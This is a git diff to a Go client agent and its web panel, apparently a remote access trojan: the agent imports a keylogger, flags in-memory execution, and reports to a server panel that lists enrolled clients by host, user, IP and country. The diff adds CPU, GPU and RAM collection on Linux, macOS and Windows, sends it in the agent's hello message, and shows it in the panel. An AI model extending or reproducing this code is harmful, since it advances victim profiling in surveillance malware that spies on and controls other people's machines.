diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index e9711ad..77e17ee 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -25,6 +25,7 @@ import ( "overlord-client/cmd/agent/keylogger" "overlord-client/cmd/agent/plugins" rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/sysinfo" "overlord-client/cmd/agent/wire" "nhooyr.io/websocket" @@ -504,6 +505,11 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. InMemory: isRunningInMemory(), } + hw := sysinfo.Collect() + hello.CPU = hw.CPU + hello.GPU = hw.GPU + hello.RAM = hw.RAM + if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { return fmt.Errorf("send hello: %w", err) } diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo.go new file mode 100644 index 0000000..52c2558 --- /dev/null +++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo.go @@ -0,0 +1,11 @@ +package sysinfo + +type Info struct { + CPU string `json:"cpu,omitempty"` + GPU string `json:"gpu,omitempty"` + RAM string `json:"ram,omitempty"` +} + +func Collect() Info { + return collectPlatform() +} diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go new file mode 100644 index 0000000..3c35ba1 --- /dev/null +++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go @@ -0,0 +1,45 @@ +//go:build darwin + +package sysinfo + +import ( + "fmt" + "strings" + "unsafe" + + "golang.org/x/sys/unix" +) + +func collectPlatform() Info { + return Info{ + CPU: cpuName(), + GPU: gpuName(), + RAM: totalRAM(), + } +} + +func cpuName() string { + name, err := unix.Sysctl("machdep.cpu.brand_string") + if err != nil || name == "" { + return "unknown" + } + return strings.TrimSpace(name) +} + +func gpuName() string { + return "unknown" +} + +func totalRAM() string { + mem, err := unix.SysctlRaw("hw.memsize") + if err != nil || len(mem) < 8 { + return "unknown" + } + total := *(*uint64)(unsafe.Pointer(&mem[0])) + gb := float64(total) / (1024 * 1024 * 1024) + if gb >= 1 { + return fmt.Sprintf("%.0f GB", gb) + } + mb := float64(total) / (1024 * 1024) + return fmt.Sprintf("%.0f MB", mb) +} diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go new file mode 100644 index 0000000..d610bc2 --- /dev/null +++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go @@ -0,0 +1,99 @@ +//go:build linux + +package sysinfo + +import ( + "fmt" + "os" + "strings" +) + +func collectPlatform() Info { + return Info{ + CPU: cpuName(), + GPU: gpuName(), + RAM: totalRAM(), + } +} + +func cpuName() string { + data, err := os.ReadFile("/proc/cpuinfo") + if err != nil { + return "unknown" + } + for _, line := range strings.Split(string(data), "\n") { + if strings.HasPrefix(line, "model name") { + parts := strings.SplitN(line, ":", 2) + if len(parts) == 2 { + return strings.TrimSpace(parts[1]) + } + } + } + return "unknown" +} + +func gpuName() string { + entries, err := os.ReadDir("/sys/class/drm") + if err != nil { + return "unknown" + } + var gpus []string + seen := map[string]bool{} + for _, e := range entries { + if !strings.HasPrefix(e.Name(), "card") || strings.Contains(e.Name(), "-") { + continue + } + labelPath := "/sys/class/drm/" + e.Name() + "/device/label" + if data, err := os.ReadFile(labelPath); err == nil { + name := strings.TrimSpace(string(data)) + if name != "" && !seen[name] { + seen[name] = true + gpus = append(gpus, name) + continue + } + } + + ueventPath := "/sys/class/drm/" + e.Name() + "/device/uevent" + if data, err := os.ReadFile(ueventPath); err == nil { + for _, line := range strings.Split(string(data), "\n") { + if strings.HasPrefix(line, "DRIVER=") { + drv := strings.TrimPrefix(line, "DRIVER=") + if drv != "" && !seen[drv] { + seen[drv] = true + gpus = append(gpus, drv) + } + } + } + } + } + if len(gpus) == 0 { + return "unknown" + } + return strings.Join(gpus, ", ") +} + +func totalRAM() string { + data, err := os.ReadFile("/proc/meminfo") + if err != nil { + return "unknown" + } + for _, line := range strings.Split(string(data), "\n") { + if strings.HasPrefix(line, "MemTotal:") { + fields := strings.Fields(line) + if len(fields) >= 2 { + var kb uint64 + _, err := fmt.Sscanf(fields[1], "%d", &kb) + if err != nil { + return "unknown" + } + gb := float64(kb) / (1024 * 1024) + if gb >= 1 { + return fmt.Sprintf("%.0f GB", gb) + } + mb := float64(kb) / 1024 + return fmt.Sprintf("%.0f MB", mb) + } + } + } + return "unknown" +} diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go new file mode 100644 index 0000000..5b8e1e9 --- /dev/null +++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go @@ -0,0 +1,114 @@ +//go:build windows + +package sysinfo + +import ( + "fmt" + "strings" + "unsafe" + + "golang.org/x/sys/windows" + "golang.org/x/sys/windows/registry" +) + +func collectPlatform() Info { + return Info{ + CPU: cpuName(), + GPU: gpuName(), + RAM: totalRAM(), + } +} + +func cpuName() string { + k, err := registry.OpenKey(registry.LOCAL_MACHINE, + `HARDWARE\DESCRIPTION\System\CentralProcessor\0`, registry.QUERY_VALUE) + if err != nil { + return "unknown" + } + defer k.Close() + name, _, err := k.GetStringValue("ProcessorNameString") + if err != nil { + return "unknown" + } + return strings.TrimSpace(name) +} + +func gpuName() string { + basePath := `SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}` + k, err := registry.OpenKey(registry.LOCAL_MACHINE, basePath, registry.ENUMERATE_SUB_KEYS) + if err != nil { + return "unknown" + } + defer k.Close() + + subkeys, err := k.ReadSubKeyNames(-1) + if err != nil { + return "unknown" + } + + var gpus []string + for _, sub := range subkeys { + if len(sub) != 4 { + continue + } + allDigits := true + for _, c := range sub { + if c < '0' || c > '9' { + allDigits = false + break + } + } + if !allDigits { + continue + } + + sk, err := registry.OpenKey(registry.LOCAL_MACHINE, + basePath+`\`+sub, registry.QUERY_VALUE) + if err != nil { + continue + } + desc, _, err := sk.GetStringValue("DriverDesc") + sk.Close() + if err != nil || desc == "" { + continue + } + gpus = append(gpus, strings.TrimSpace(desc)) + } + + if len(gpus) == 0 { + return "unknown" + } + return strings.Join(gpus, ", ") +} + +func totalRAM() string { + type memoryStatusEx struct { + Length uint32 + MemoryLoad uint32 + TotalPhys uint64 + AvailPhys uint64 + TotalPageFile uint64 + AvailPageFile uint64 + TotalVirtual uint64 + AvailVirtual uint64 + AvailExtendedVirtual uint64 + } + + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + globalMemoryStatusEx := kernel32.NewProc("GlobalMemoryStatusEx") + + var ms memoryStatusEx + ms.Length = uint32(unsafe.Sizeof(ms)) + + ret, _, _ := globalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&ms))) + if ret == 0 { + return "unknown" + } + + gb := float64(ms.TotalPhys) / (1024 * 1024 * 1024) + if gb >= 1 { + return fmt.Sprintf("%.0f GB", gb) + } + mb := float64(ms.TotalPhys) / (1024 * 1024) + return fmt.Sprintf("%.0f MB", mb) +} diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 208d5ce..4e2f0f7 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -16,6 +16,9 @@ type Hello struct { PublicKey string `msgpack:"publicKey,omitempty"` Signature string `msgpack:"signature,omitempty"` InMemory bool `msgpack:"inMemory,omitempty"` + CPU string `msgpack:"cpu,omitempty"` + GPU string `msgpack:"gpu,omitempty"` + RAM string `msgpack:"ram,omitempty"` } type EnrollmentChallenge struct { diff --git a/Overlord-Server/public/assets/purgatory-ui.js b/Overlord-Server/public/assets/purgatory-ui.js index 67cc216..53cee49 100644 --- a/Overlord-Server/public/assets/purgatory-ui.js +++ b/Overlord-Server/public/assets/purgatory-ui.js @@ -29,6 +29,7 @@ const banModalBackdrop = document.getElementById("ban-modal-backdrop"); let currentFilter = "pending"; let searchQuery = ""; let clients = []; +const expandedCells = new Set(); // tracks "clientId:field" keys // ── API helpers ──────────────────────────────────────────────────── async function api(path, opts = {}) { @@ -82,7 +83,7 @@ async function loadClients() { const q = searchQuery.toLowerCase().trim(); const filtered = q ? clients.filter((c) => { - const fields = [c.host, c.user, c.ip, c.id, c.os, c.country, c.keyFingerprint]; + const fields = [c.host, c.user, c.ip, c.id, c.os, c.country, c.keyFingerprint, c.cpu, c.gpu, c.ram]; return fields.some((f) => f && String(f).toLowerCase().includes(q)); }) : clients; @@ -108,12 +109,15 @@ async function loadClients() {
| @@ -90,6 +90,9 @@ | Host | User | OS | +CPU | +GPU | +RAM | IP | Country | Key Fingerprint | @@ -100,7 +103,7 @@|||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| + | Loading... | |||||||||||||||||||||